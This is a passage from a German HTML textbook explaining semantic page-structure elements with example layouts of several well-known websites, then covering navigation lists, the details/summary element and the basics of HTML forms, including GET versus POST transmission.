            Hiermit meine ich Elemente, die auf einer Webseite einen gewissen Bereich mit einer besonderen Bedeutung versehen, aber im Prinzip nicht in Erscheinung treten. Und damit sind wir wieder zurück bei unserer primären Erkenntnis, dass die Bedeutung eines Elements nicht immer auch optisch zum Ausdruck kommt. Sehr viel wichtiger ist die Bedeutung von Elementen für all diejenigen, die über keine Sehfähigkeit verfügen: blinde Menschen, die auf einen Screenreader zurückgreifen müssen (der dann wiederum den HTML-Code »verstehen« können muss) oder eben unsere allseits beliebten Suchmaschinen.

            Zu diesen strukturgebenden Elementen einer Webseite zählen folgende Tags:

            
                	
                    <main>: Dieses Tag kennzeichnet den Hauptbereich der Webseite. In ihm wird sämtlicher Inhalt dargestellt, der die wesentlichen Informationen einer Seite beinhaltet. Man spricht auch gerne vom dominanten Inhalt einer Seite. Beachten Sie, dass das <main> auf einer Webseite nur ein einziges Mal vorkommen darf.

                

                	
                    <header>: Ein Header stellt den Kopfbereich von einerseits einer Webseite, aber andererseits auch eines Artikels dar (siehe <article> etwas weiter unten). Üblicherweise befinden sich in einem solchen Header Elemente, die den Betrachter »in die Website einführen« sollen (wie etwa ein Logo, der Unternehmensname o. Ä.), oder auch (zusätzlich) die Navigation.

                

                	
                    <footer>: Wie der Header den Kopfbereich darstellt, so stellt der Footer den Fußbereich von entweder einer Webseite oder andererseits einem Artikel dar. Auch findet sich hier nicht selten eine Wiederholung der Navigation, der Unternehmensname, Links zu obligaten Informationen wie das Impressum, die Datenschutzgrundverordnung oder die Allgemeinen Geschäftsbedingungen. Im Allgemeinen beinhaltet der Footer jedoch Informationen, die entweder nicht in den Hauptinhalt der Website passen oder auf eine Art »zusammenfassend« sind.

                

                	
                    <nav>: Dieses Tag kennzeichnet die Navigation(en) auf einer Webseite. Üblicherweise (jedoch nicht zwingend) beinhaltet eine Navigation eine ungeordnete Liste (<ul>), die die eigentlichen Navigationspunkte darstellt (siehe hierzu den folgenden Abschnitt 5.8.2).

                

                	
                    <aside>: Ein solches Tag kennzeichnet einen »Nebenbei-Bereich«. Hiermit meint man Inhalte auf einer Website, die für die Website als Gesamtes nicht essenziell wichtig sind oder keinen direkten Bezug zum Hauptinhalt darstellen. Dies könnte etwa ein Werbebereich, eine Einbindung sozialer Medien o. Ä. sein.

                

            

            Wie Sie aus der Beschreibung von <header> und <footer> entnehmen können, beinhalten solche strukturgebenden Elemente oftmals weitere strukturgebende (wie <nav> o. ä.) Elemente.

            Ein typischer Aufbau einer Webseite könnte demnach zunächst wie folgt aussehen:

            <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Das Grundgerüst einer Webseite</title>
        <meta charset="utf-8">
    </head>
    <body>
        <header>Logo und Name des Unternehmens, ein Banner etc.</header>
        <nav>Die Navigation der Seite (in Form einer ungeordneten Liste)</nav>
        <main>Der Hauptinhalt</main>
        <aside>Werbung o. Ä.</aside>
        <footer>Copyright, Navigation für Impressum, DSGVO, AGB etc.</footer>
    </body>
</html>


            Andererseits könnte ein Aufbau auch wie der folgende Code aussehen (beachten Sie den Header, der die Navigation beinhaltet).

            <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Das Grundgerüst einer Webseite</title>
        <meta charset="utf-8">
    </head>
    <body>
        <header>
            Logo und Name des Unternehmens, ein Banner etc.
            <nav>Die Navigation der Seite (in Form einer ungeordneten Liste) 
</nav>
        </header>
        <main>Der Hauptinhalt</main>
        <aside>Werbung o. Ä.</aside>
        <footer>Copyright, Navigation für Impressum, DSGVO, AGB etc.</footer>
    </body>
</html>


            All diese Elemente haben wie erwähnt keine optische Wirkung – sie dienen lediglich der Semantik einer Webseite.

            Weitere für die Gliederung des Inhaltsbereichs (<main>) einer Webseite wesentliche Elemente wären etwa:

            
                	
                    <section>: Dieses Element stellt einen sehr allgemeinen Container dar, der zumeist dann zum Einsatz kommt, wenn kein anderer Container (wie ein <article>, ein <main> oder auch ein <aside>) passend ist, aber ein <div> wiederum zu allgemein wäre. Grundsätzlich kann man von einer Art »Abschnitt« oder Gruppierung von einzelnen Inhalten sprechen. Üblicherweise befindet sich innerhalb einer Section immer eine Überschrift (<h1> bis <h6>).

                

                	
                    <article>: Ein Artikel stellt auf einer Webseite einen Inhalt dar, der als eigenständig angesehen werden kann und in sich abgeschlossen ist und somit an einer beliebigen anderen Stelle auf der Webseite eingesetzt werden könnte. Üblicherweise sind dies (wie der Name schon vermuten lässt) einerseits geschriebene Artikel wie Forenbeiträge, journalistische Artikel, Blogeinträge, Kommentare oder auch Darstellungen von Produkten in einem Shop, interaktive Widgets oder eben jeglicher unabhängiger Inhalt. Gerne werden Artikel mit einem <header> und <footer> strukturiert, auch wird gerne eine Überschrift (<h1> bis <h6>) pro Artikel eingesetzt.

                

                	
                    <address>: Wie auch hier bereits der Name vermuten lässt, wird dieses Element verwendet, um Kontaktinformationen darzustellen – wie immer diese auch geartet sind. Das Tag bezieht sich dabei entweder auf die Kontaktdaten zur Webseite selbst (etwa, indem es in den <footer> einer Webseite eingebaut wird) oder auf die Kontaktdaten zu einem geschriebenen Artikel (etwa, indem es in den <footer> eines <article> oder direkt in den <article> eingebaut wird). Üblicherweise befindet sich darin ein Name (der Person/des Unternehmens), gefolgt von den Kontaktdaten wie E-Mail-Adresse, Telefonnummer oder Postadresse.

                

            

            Werfen wir einmal einen Blick auf ein paar Beispiele. Wie gehe ich das üblicherweise an? Ich erstelle von jeder Seite, die wir besprechen werden, einen Screenshot und zeichne die strukturgebenden Elemente so ein, wie ich sie für richtig empfinde. Dabei werfe ich bewusst keinen Blick auf den Quellcode der Seite. Erst, wenn ich mit meiner Einzeichnerei fertig bin, vergleiche ich mein Ergebnis mit dem bestehenden Code. Auf diese Weise kann man sehr viel für das eigene Tun lernen. Bedenken Sie dabei aber eines: Es muss nicht sein, dass die Entwickler*innen der Seiten, die Sie betrachten, auch immer korrekte Arbeit geleistet haben. Deshalb: Lassen Sie sich in solchen Fällen nicht verunsichern!

            
                apple.at

                Eine der wohl bekanntesten Websites ist diejenige von Apple:

                
                    [image: Die Website von Apple ist in Hinblick auf ihre Struktur sehr klar und gut erkennbar.]

                    Abbildung 5.24    
            Die Website von Apple ist in Hinblick auf ihre Struktur sehr klar und gut erkennbar.

                
                Die einzelnen Bereiche sind sehr gut erkennbar, da sie einerseits farblich voneinander getrennt sind (bis auf die Navigation im Footerbereich) und andererseits einen ausreichend großen Abstand zu den restlichen Elementen aufweisen. Das Besondere an der Website ist, dass sie keinen offensichtlichen Header besitzt. Sollten Sie einen Blick auf den Quellcode der Website werfen, so wird Ihnen vielleicht auffallen, dass Apple kein <article> verwendet hat, obwohl es an dieser Stelle zu empfehlen wäre. Sie lernen daraus, dass es nicht immer ganz eindeutig ist, wo <article> und/oder <section> verwendet werden.

                Brechen wir das Grundgerüst auf das Wesentliche herunter, so würden wir folgenden Code erhalten:

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>apple.at</title>
        <meta charset="utf-8">
    </head>
    <body>
        <nav>Navigation inkl. Logo als Home-Button</nav>
        <main>
            <article>Spare bei Mac oder iPad…</article>
            <article>Macbook Air 15"...</article>
            ...
        </main>
        <footer>
            <nav>Navigation als Sitemap</nav>
        </footer>
    </body>
</html>


                Ein sehr oft diskutiertes Thema ist die Link-Liste am unteren Ende des Footers: Datenschutzrichtlinie, Verwendung von Cookies, Nutzungsbedingungen usw. Hierbei handelt es sich um keine Navigation im eigentlichen Sinne, sondern lediglich um eine Auflistung eigenständiger Links, die zueinander keinen Bezug haben. Aus diesem Grund wird diese Liste nicht von einem <nav> umschlossen. Beachten Sie an dieser Stelle auch die Ausführungen in Abschnitt 5.8.2, wo wir die Navigation etwas genauer beleuchten.

            
            
                dji.com

                Eine weitere prominente Site ist diejenige des chinesischen Drohnen- und ActionCam-Herstellers DJI. Vergleichen wir den Aufbau dieser Seite mit derjenigen von Apple, so finden wir sehr viele Ähnlichkeiten – ein gutes Indiz dafür, dass namhafte Unternehmen einen sehr ähnlichen, weil anzunehmenderweise etablierten und für den User zufriedenstellenden Weg gehen.

                
                    [image: Ohne viel anzupassen, könnte man die Apple-Website in diejenige von DJI umbasteln. Ob das an der Copy-and-paste-Politik liegen kann? Tja, wer weiß das schon ...]

                    Abbildung 5.25    
            Ohne viel anzupassen, könnte man die Apple-Website in diejenige von DJI umbasteln. Ob das an der Copy-and-paste-Politik liegen kann? Tja, wer weiß das schon ...

                
                Der zugehörige Code-Aufbau ist beinahe identisch mit demjenigen von Apple – einzig die Verwendung von <section> anstatt von <article> würde sich hier eventuell empfehlen, da die untereinander stehenden Inhalte keinen gleichartigen Inhalt aufweisen, was bei der Verwendung von <article> der Fall wäre.

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>dji.com</title>
        <meta charset="utf-8">
    </head>
    <body>
        <nav>Navigation inkl. Logo als Home-Button</nav>
        <main>
            <section>Osmo Action 4...</section>
            ...
        </main>
        <footer>
            <nav>Navigation als Sitemap</nav>
        </footer>
    </body>
</html>


            
            
                redbull.com

                Die Firma Red Bull geht mit ihrer Website einen etwas anderen Weg in puncto Inhaltsgestaltung. Dies ist natürlich der Tatsache geschuldet, dass Red Bull daran gelegen ist, artikelartig News bereitzustellen:

                
                    [image: Die Content-Strategie von Red Bull ist naturgemäß eine etwas andere als diejenige von Apple oder DJI, da Red Bull hier keine Produkte, sondern vordergründig Erlebnisse, Lifestyle, Action & Co. verkauft. Was Red Bull tatsächlich verkauft, steht auf einem anderen Blatt.]

                    Abbildung 5.26    
            Die Content-Strategie von Red Bull ist naturgemäß eine etwas andere als diejenige von Apple oder DJI, da Red Bull hier keine Produkte, sondern vordergründig Erlebnisse, Lifestyle, Action & Co. verkauft. Was Red Bull tatsächlich verkauft, steht auf einem anderen Blatt.

                
                Ein Blick auf den Code zeigt, dass der Hauptbereich der Seite vorrangig aus <article> besteht:

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>redbull.com</title>
        <meta charset="utf-8">
    </head>
    <body>
        <header>
            <nav>Navigation inkl. Logo als Home-Button sowie burgerartigem ↩ Menü</nav>
            <article>Lil Syd kürt sich zum Streetdance ...</article>
        </header>
        <main>
            <article>Red Bull 60 Seconds: Sadi...</article>
            <article>Best of Videos:...</article>
            <article>Die besten Klettervideos...</article>
            ...
        </main>
        <footer>
            <ul>
                <li>Produkte & Unternehmen</li>
                <li>Kontakt</li>
                ...
            </ul>
        </footer>
    </body>
</html>


                Beachten Sie an dieser Stelle die Link-Liste im Footer: Sie stellt wie schon gesagt keine Navigation, sondern lediglich eine Auflistung von Links dar.

            
            
                trainingstagebuch.fitness

                Klar und gut erkennbar zeigt sich die Trainingstagebuch-Site. Bei der Erstellung dieser Site wurde auf überflüssiges Markup (überflüssige HTML-Elemente) verzichtet und darauf geachtet, den HTML-Code so sauber und rein wie nur möglich zu halten.

                Dadurch reduziert sich das HTML-Gerüst auf die wesentlichen Elemente:

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>trainingstagebuch.fitness</title>
        <meta charset="utf-8">
    </head>
    <body>
        <nav>Navigation inkl. Login-Button</nav>
        <header>...    </header>
        <main>
            <article>Ihr persönlicher Trainingsplan...</article>
            <article>Die individuelle Betreuung...</article>
            ...
        </main>
        <footer>
            ...
        </footer>
    </body>
</html>


                
                    [image: Kommt ohne überflüssigen HTML-Code aus: trainingstagebuch.fitness]

                    Abbildung 5.27    
            Kommt ohne überflüssigen HTML-Code aus: trainingstagebuch.fitness

                
                Ganz generell gilt immer, dass es sehr erstrebenswert ist, den HTML-Code sauber zu halten: keine überflüssigen HTML-Elemente (wie etwa viele <div>, die lediglich layouttechnische Gründe haben), eindeutige Semantik.

            
            
                orf.at und die Grenzen der Semantik

                Nochmals spannender in Hinblick auf strukturgebende Elemente als die bereits besprochenen Sites ist die Website der österreichischen Nachrichtensite orf.at. Wie man schon annehmen kann, wird diese vorrangig aus <article> bestehen. Neben der Übersichtsseite empfiehlt sich jedoch auch ein Blick auf die Detailseite eines Artikels, da man hier den Fall von einem detailliert strukturierten <article> sehen kann. Aber werfen wir zunächst mal einen Blick auf die Übersichtsseite:

                
                    [image: Als waschechte Newsseite hat orf.at gutes Potenzial, semantisch korrekten Code zu generieren.]

                    Abbildung 5.28    
            Als waschechte Newsseite hat orf.at gutes Potenzial, semantisch korrekten Code zu generieren.

                
                Wie Sie gut erkennen können, bietet die Site viel Potenzial. Der Hauptbereich (<main>) ist in mehrere Abschnitte (<section>) unterteilt:

                
                    	
                        Hauptartikel als Eyecatcher in Form von Bildern und zugehörigen Beschriftungen (<figure>)

                    

                    	
                        Artikelgruppen wie etwa »Ukraine-Krieg«, »Inhalt« etc.

                    

                

                Weiterhin sind die Artikelgruppen mit entsprechenden Überschriften (<h1>) und Artikeln (<article>) versehen. Der sich ergebende Code sieht so aus:

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>orf.at</title>
        <meta charset="utf-8">
    </head>
    <body>
        <nav>Navigation</nav>
        <header>Logo, Wetterticker, weitere Banner</header>
        <main>
            <section>
                <figure>
                    <picture>...</picture>
                    <figcaption>Wende in Digitalpolitik?...</figcaption>
                </figure>
                ...
            </section>
            <section>
                <h1>Ukraine-Krieg</h1>
                <article>
                    <h2>Kiew in der Nacht Ziel vieler russischer Drohnen</h2>
                    ...
                </article>
                <article>
                    <h2>Warnung vor der Teilnahme an Scheinwahlen in ↩ 
besetzten Gebieten</h2>
                    ...
                </article>
                ...
            </section> 
            ...
        </main>
        <footer>
            <ul>
                <li>Kontakt</li>
                <li>Datenschutz</li>
                ...
                <li><img ...></li>
            </ul>
        </footer>
    </body>
</html>


                Ein viel und häufig diskutiertes Thema ist dasjenige, ob eine Website nur eine oder auch mehrere Hauptüberschriften (<h1>) besitzen darf/soll. Nun, zunächst einmal gilt: Jede Website darf beliebig viele Hauptüberschriften besitzen; die Empfehlung lautet jedoch, dass nur eine dieser <h1> verwendet werden soll. In diesem speziellen Fall sind die Inhalte jedoch derart unterschiedlich und auch von keiner Hauptüberschrift überschrieben, dass multiple <h1> in Ordnung sind.

                
                    [image: Auf der Artikeldetailseite lässt orf.at es mit der Semantik krachen.]

                    Abbildung 5.29    
            Auf der Artikeldetailseite lässt orf.at es mit der Semantik krachen.

                
                Wenn wir uns nun für einen Artikel entscheiden, den wir zur Gänze lesen wollen, gelangen wir auf eine Detailseite zum Artikel – in diesem Fall zum Artikel des ersten Grand-Slam-Titels von Coco Gauff (siehe Abbildung 5.29).

                An diesem Beispiel sehen Sie einerseits die Möglichkeiten, andererseits jedoch auch die Grenzen semantischer Elemente:

                
                    	
                        Einerseits kann ein Artikel (<article>) bis ins Detail aufgegliedert werden (inklusive <header>, <footer> & Co.).

                    

                    	
                        Andererseits fehlen uns Elemente, beispielsweise solche, die den Teaser-Text des Artikels gebührend kennzeichnen. Außerdem darf ein Artikel keinen Hauptbereich (<main>) besitzen, da <main> nur ein einziges Mal auf einer Seite verwendet werden darf, da es den Hauptbereich der gesamten Seite kennzeichnen soll.

                    

                

                Als Code erhalten wir:

                <!DOCTYPE html>
<html lang="de">
    <head>
        <title>orf.at</title>
        <meta charset="utf-8">
    </head>
    <body>
        <nav>Navigation</nav>
        <header>Logo, Wetterticker, weitere Banner</header>
        <main>
            <article>
                <header>
                    <picture>...</picture>
                </header>
                ...
                <h1>Gauff holt ersten Grad-Slam-Titel</h1>
                ...
                <footer>
                    red, ORF.at/Agenturen
                    <h2>Link</h2>
                    <ul>
                        <li><a href="...">US Open</a></li>
                    </ul>
                </footer>
                <aside>Teilen...</aside>
            </article>
            <aside>
                Mehr zum Thema
                ...
            </aside>
        </main>
        <footer>
            <ul>
                <li>Kontakt</li>
                <li>Datenschutz</li>
                ...
                <li><img ...></li>
            </ul>
        </footer>
    </body>
</html>


                Ein paar Punkte möchte ich an dieser Stelle ansprechen, die oftmals ein wenig Verwirrung stiften:

                
                    	
                        Sich überschneidende Elemente: Man kann gut erkennen, dass die Überschrift in das Header-Bild hineinragt. Machen Sie sich darüber keine Gedanken: Dies ist ein rein optisches Thema, das wir in Kapitel 6, »CSS – Formatierung rulez«, in den Griff bekommen. Optische Details spielen in HTML keine Rolle – Sie erinnern sich?

                    

                    	
                        Die Reihenfolge von HTML-Elementen: Es ist Ihnen vielleicht aufgefallen, dass das <aside> fürs Teilen ganz unten im <article> steht, obwohl es optisch viel weiter oben zu liegen kommt? Selbes Thema: Optische Eventualitäten kratzen uns bis dato nicht. CSS wird’s regeln.

                    

                

                
                    [+]  Seiten analysieren

                    Wie Sie vielleicht gesehen haben, ist das Gliedern von Websites rein auf Basis des Layouts eine gute Übung. Andererseits werden Sie auch festgestellt haben, dass unsere Idee der Gliederung nicht unbedingt die tatsächlich verwendete Gliederung widerspiegelt. Wer hat nun also recht? Die Ersteller der Website oder wir? Nun ... beide. Der Grund ist, dass es einerseits an jeder Stelle völlig eindeutig ist, welches Element verwendet werden soll (denken Sie etwa an <section> oder <article>), andererseits haben wir – zum Teil notwendige – Elemente völlig außen vor gelassen, die man in weiterer Folge für das optische Aussehen benötigen würde (typischerweise sind dies Elemente vom Typ <div>). Diese sind zwar bedeutungslos aus Sicht von HTML, jedoch sehr wohl von Bedeutung für das Layout. Mit anderen Worten: Wir haben alles richtig gemacht, müssen aber gegebenenfalls unseren Code noch etwas erweitern, wenn’s ans Layouten geht.

                

            
        
        
            5.8.2    Ein wichtiges Spezialthema: die Navigation

            Eine Navigation stellt auf einer Website einen der wichtigsten Bereiche dar, weshalb wir uns diesem Thema etwas konkreter widmen. Da eine Navigation eine hierarchische Struktur (Hauptpunkte, Unterpunkte, Unter-Unterpunkte usw.) darstellt und eine solche idealerweise in Form einer (ungeordneten) Liste erzeugt wird, bietet sich eine solche für die Darstellung einer Navigationsstruktur an.

            Ein korrekter Aufbau einer Navigation sähe etwa wie folgt aus:

            <nav>
    <ul>
        <li><a href="…">Home</a></li>
        <li><a href="…">Über uns</a></li>
        <li><a href="…">Dienstleistungen</a>
            <ul>
                <li><a href="…">Web</a></li>
                <li><a href="…">Print</a></li>
            </ul>
        </li>
        ...
    </ul>
</nav>


            Die Formatierung der Navigation fällt bekanntermaßen nicht in das Aufgabengebiet von HTML. Erst in Abschnitt 8.5.4, »Navigation«, wenden wir uns dem Thema zu.

            Bedenken Sie, dass nicht eine jede Auflistung von Links automatisch eine Navigation darstellt. Ein solches Beispiel wäre etwa eine Link-Liste, die zwar auch Links zu anderen Websites oder Dokumenten darstellt, aber nicht als Navigation angesehen werden kann. Dies äußert sich im Übrigen auch in der Gewichtung für diese Liste aus Sicht einer Suchmaschine, denn Link-Listen sind aus der Sicht einer Suchmaschine für die Website als Gesamtes weniger wertvoll. Das folgende Beispiel wäre eine solche Link-Liste:

            <ul>
    <li><a href="...">Link 1</a></li>
    <li><a href="...">Link 2</a></li>
    <li><a href="...">Link 3</a>
        <ul>
            <li><a href="...">Link 3-1</a></li>
            <li><a href="...">Link 3-2</a></li>
        </ul>
    </li>
</ul>


        
        
            5.8.3    Übersicht und Detail – angeteaserte Inhalte

            In nicht wenigen Fällen ist man in der Situation, Informationen zunächst einmal nur zusammengefasst darstellen zu müssen. Damit unser User zu den Details gelangt, muss er (über einen Klick) selbst aktiv werden. Eine solche Möglichkeit bietet das <details>-Tag, in dem wir ein verschachteltes <summary>-Element finden. Zunächst wird nur das angezeigt, was sich innerhalb des <summary> befindet. Ein Klick auf den Pfeil, der links neben dem Inhalt von <summary> steht, blendet alsdann den Rest ein:

            <details>
    <summary>Hohe Meerestemperaturen: Korallen drohen auszubleichen</summary>
    Fast ein halbes Jahr schon liegen die weltweiten Meerestemperaturen besonders hoch. Bei vielen Korallenriffen - insbesondere im Atlantischen Ozean - machen sich die Folgen inzwischen zunehmend bemerkbar. Laut Fachleuten sind aktuell etwa Riffe der Karibik und des Golfs von Mexiko stark betroffen. Mehr dazu in science.ORF.at.
</details>


            In einem Browser präsentiert sich dies geschlossen wie folgt:

            
                [image: Die geschlossene Darstellung von <details> ...]

                Abbildung 5.30    
            Die geschlossene Darstellung von <details> ...

            
            Geöffnet wird der restliche Inhalt sichtbar:

            
                [image: ... und hier die geöffnete Variante.]

                Abbildung 5.31    
            ... und hier die geöffnete Variante.

            
            Die Frage nach dem Einsatzbereich beantwortet sich fast wie von selbst: überall dort, wo Übersicht und Details gefragt sind – Darstellung von (journalistischen) Artikeln, Produktbeschreibungen in Onlineshops usw.

            Selbstverständlich kann der ausgeblendete Inhalt auch weiteren HTML-Code beinhalten, wie das folgende Beispiel zeigt. Für das <summary> sieht das jedoch etwas anders aus: Hier ist entweder ein Phrasing Content (also Text oder Ähnliches) oder ein Element aus dem Heading Content (also Überschriften) erlaubt. Dabei müssen Sie jedoch beachten, dass Phrasing Content inline-artig ist, Überschriften jedoch block-artig. Lediglich über gewisse Formatierungseigenschaften (wie führende Abstände oder Ähnliches) müssten Sie sich im Rahmen von CSS noch Gedanken machen.

            Das folgende Beispiel zeigt etwa, dass bei der standardmäßigen Formatierung von <h2> ein scheinbarer Zeilenumbruch bzw. ein Abstand nach oben entsteht, da es sich bei <h2> eben um ein Block-Element handelt. Dem kann man natürlich Herr werden, indem man – siehe Kapitel 6 über CSS – für diesen Fall aus dem <h2> ein inline-artiges Element macht. Den CSS-Code dazu finden Sie, quasi als Appetizer, hier:

            <details>
    <summary>
        <h2>Hohe Meerestemperaturen: Korallen drohen auszubleichen</h2>
    </summary>
    <p>Fast ein halbes Jahr schon liegen die weltweiten Meerestemperaturen besonders hoch. Bei vielen Korallenriffen - insbesondere im Atlantischen Ozean - machen sich die Folgen inzwischen zunehmend bemerkbar. Laut Fachleuten sind aktuell etwa Riffe der Karibik und des Golfs von Mexiko stark betroffen.</p>
    <p><strong>Mehr</strong> dazu in <a href="https://science.orf.at/stories/3220981/" target="_blank">science.ORF.at</p>
</details>


            
                [image: Das Element <summary> darf auch Überschriften enthalten. Wird es entsprechend als inline-Element formatiert, gliedert sich die Überschrift perfekt ein.]

                Abbildung 5.32    
            Das Element <summary> darf auch Überschriften enthalten. Wird es entsprechend als inline-Element formatiert, gliedert sich die Überschrift perfekt ein.

            
            Öffnet man den Anleser per Klick, wird nun der mit HTML-Tags erweiterte Inhalt sichtbar:

            
                [image: Auch HTML-Inhalt bereitet dem <details>-Element keine Sorgen. Außerdem erweitern sich die Möglichkeiten für den Einsatz enorm.]

                Abbildung 5.33    
            Auch HTML-Inhalt bereitet dem <details>-Element keine Sorgen. Außerdem erweitern sich die Möglichkeiten für den Einsatz enorm.

            
            Hier folgt wie versprochen der CSS-Code, den man mithilfe von <style> in den <head> der Seite einbettet:

            <style>
    summary h2 {
        display:inline; /* bzw. display:inline flow; */
    }
</style>


            Das Ende der Fahnenstange ist jedoch noch nicht erreicht: Ober das open-Attribut des <details>-Tags lässt sich bestimmen, ob es beim Darstellen gleich den Inhalt einblenden soll oder nicht. Wird open als Attribut verwendet (<details open>), so ist der Inhalt automatisch sichtbar. Mithilfe von JavaScript erhalten Sie dann auch noch die Möglichkeit, auf Klicks zu reagieren.

        
    


                    
                        
        5.9    Formulare als Schnittstelle zwischen Client und Server

        Formulare innerhalb von Websites bieten die Möglichkeit, Daten von der Client- an die Serverseite zu übermitteln oder, mit anderen Worten, vom User der Website zum Betreiber der Website. Formulare stellen also das Kommunikationsmittel schlechthin dar. In vielen Fällen ist dem User die Nutzung eines Formulars auch gar nicht bewusst, verbindet er ein Formular doch immer mit Eingabefeldern, Auswahlboxen etc. Dies muss jedoch nicht der Fall sein, wie Sie spätestens im JavaScript-Kapitel 7 zum Thema AJAX lernen werden.

        Ganz allgemein wird für die Verwendung eines Formulars das <form>-Tag zum Einsatz gebracht, das wiederum die Formularelemente beinhaltet, auf die wir etwas später noch zu sprechen kommen.

        <form>
    //... Formularinhalt: alle Eingabefelder, alle Auswahlboxen, Buttons etc.
</form>


        
            5.9.1    Arten der Datenübertragung

            Ein HTML-Formular kann die vom User eingegebenen Daten grundsätzlich auf zwei unterschiedliche Arten an den »Empfänger« (Server) übertragen. Die Art geben Sie mithilfe des method-Attributs im <form>-Tag an:

            
                	
                    via GET: Die Daten, die der User in die Formularelemente eingegeben hat, werden an die URL in der Adresszeile des Browsers angehängt und sind somit in der Adresszeile sichtbar. Dies ist im Falle sensibler Daten (wie Passwörter, Kreditkarten-Codes etc.) nicht empfehlenswert, wird jedoch standardmäßig (sprich, wenn keine method angegeben wird) verwendet.

                

                	
                    via POST: Die eingegebenen Daten werden (für den User) »unsichtbar« an den http-Header angehängt, wodurch diese Variante besser für sensible Daten geeignet ist.

                

            

            <form method="post|get">
    ...
</form>


            Um sich ein Bild von GET-Daten zu machen, sei folgendes Beispiel erwähnt. Angenommen, man erzeugt ein HTML-Formular für den Login in einen geschützten Bereich einer Website: In diesem Fall würde man dem User üblicherweise ein Feld für seine E-Mail-Adresse sowie ein Feld für das zugehörige Passwort anzeigen, die er ausfüllen soll. Danach soll er das Formular abschicken (siehe Abbildung 5.34).

            
                [image: Ein sehr gängiges Formular für den Login auf einer Website – von der fehlenden Formatierung einmal abgesehen]

                Abbildung 5.34    
            Ein sehr gängiges Formular für den Login auf einer Website – von der fehlenden Formatierung einmal abgesehen

            
            Wie oben erwähnt, werden die eingegebenen Daten dieses Formulars alsdann an die URL angehängt, und so wird ein neuerlicher Request auf dem Server ausgelöst. Die URL würde in etwa so aussehen:

            http://localhost/BUECHER/formulare/formular01.php?Email=uwe.mutz%40syne.at&PWD=test123

            Der Wert %40 ist die sogenannte URL-Kodierung des @-Zeichens. Viel wesentlicher ist jedoch, dass das eingegebene Passwort im Klartext in der Adresszeile des Browsers stehen wird, was in keinem Fall wünschenswert ist.

        
        
            5.9.2    Die Anfrage an den Server

            Unter dem Abschicken eines Formulars verstehen wir umgangssprachlich, dass die Inhalte der Formularfelder an eine Stelle übermittelt werden, an der sie ausgewertet und gegebenenfalls weiterverarbeitet werden. Doch was geschieht in Wahrheit? Wie läuft der technische Prozess ab? Pragmatisch gesehen ist das Abschicken eines Formulars nicht mehr als ein Request eines Clients an einen Server für ein gegebenes Dokument. Nur, welches Dokument? Die Antwort darauf kann auf zwei Arten ausfallen:

            
                	
                    Sollte kein explizites Dokument angegeben werden, so wird dasjenige Dokument, in dem sich das Formular befindet, das der User abschicken möchte, erneut vom Server angefragt.

                

                	
                    Kommt das action-Attribut zum Einsatz, so kann ein explizites Dokument angegeben werden, das vom Server abgefragt wird.

                

            

            In jedem Fall gelten zwei Punkte:

            
                	
                    Das Dokument, das im Request vom Server angefragt wird, ist auch dasjenige, das der User nach dem Abschicken des Formulars sieht. (Diese Aussage ist allerdings nicht vollständig korrekt, da auf der Serverseite noch weitere Maßnahmen getroffen werden könnten, die dem User schlussendlich doch ein anderes Dokument übermitteln als das im Request angeforderte. Mehr dazu in Abschnitt 11.10, »Der Anknüpfungspunkt an HTML – Formulare als wesentliches Kommunikationsmittel«).

                

                	
                    Die Formulardaten sollen/sollten in demjenigen Dokument, das vom Server angefragt wird, auch verarbeitet werden. Ansonsten wäre das Ausfüllen des Formulars durch den User sinnlos gewesen.

                

            

            Setzen wir also das erwähnte action-Attribut ein, so würde dies folgende Änderungen im Formular-Tag <form> bewirken:

            <form ... action="b/c.php">
    ...
</form>


            In diesem Fall würden die Formularinhalte an ein Dokument mit dem Namen c.php übermittelt werden, das seinerseits im Verzeichnis b abgelegt ist.

        
        
            5.9.3    Der User ist gefordert: Formularelemente

            Ganz allgemein sind Formularelemente all jene Elemente, die innerhalb eines Formulars zur Ein- bzw. Ausgabe verwendet werden. Weil es sich zumeist um Eingaben handelt (deshalb auch die Namensgebung <input>), ist der typische Aufbau der meisten Formularelemente wie folgt:

            <input type="..." name="...">


            Das type-Attribut entscheidet darüber, welche Daten in welcher Form in das Element eingegeben werden können (beispielsweise Text, E-Mail-Adressen, Telefonnummer, Datumswerte etc.). Das name-Attribut wiederum ist essenziell wichtig, da nur Inhalte von Elementen, die ein name-Attribut besitzen, in weiterer Folge auch an den Server übermittelt werden. Mit anderen Worten: Das name-Attribut bestimmt, welche Daten vom User eingegeben werden können und danach auch weiterverarbeitet (gespeichert, versendet etc.) werden können.

            Grundlegend unterscheidet man gern zwischen Elementen, die noch aus dem alten HTML-Standard stammen (HTML4.01), sowie diejenigen aus dem aktuellen HTML-Standard (HTML5).

            
                Formularelemente in HTML 4

                Wie ich bereits eingangs erwähnt habe, ist in aller Regel das type-Attribut dafür verantwortlich, welche Werte (auf welche Art und Weise) in das Formularelement eingegeben werden können/sollen:

                
                    	
                        Texteingabe: <input type="text" name="...">

                    

                    	
                        Passworteingabe: <input type="password" name="...">

                    

                

                Eine genauere Unterscheidung, was in die jeweiligen Felder eingefügt werden kann/soll, treffen wir etwas weiter unten, wenn wir uns die Formularelemente ansehen, die seit HTML 5 möglich sind.

                An dieser Stelle möchte ich nicht unerwähnt lassen, dass das Attribut value (deutsch: Wert) immer den vorab ausgefüllten Wert einer Texteingabe in das Eingabefeld schreibt. An sich repräsentiert das value-Attribut immer den aktuellen Wert eines Eingabefeldes und demnach denjenigen Wert, der im Falle einer Formularübermittlung an den Server übergeben wird: <input type="text" name="Vorname" value="Uwe"> würde ein Textfeld vorab mit dem Wert »Uwe« befüllen.

                Neben den beiden Möglichkeiten zur Eingabe von Texten und Passwörtern existieren noch weitere Eingabe-Elemente, wie etwa Buttons zum Abschicken und Resetten des Formulars oder auch Checkboxen oder Radio-Buttons.

                
                    Der Abschicken- oder Submit-Button

                    Der Abschicken- oder Submit-Button ist ein sehr wesentliches Element in einem Formular, da mit seiner Hilfe das Formular dann tatsächlich abgeschickt wird.

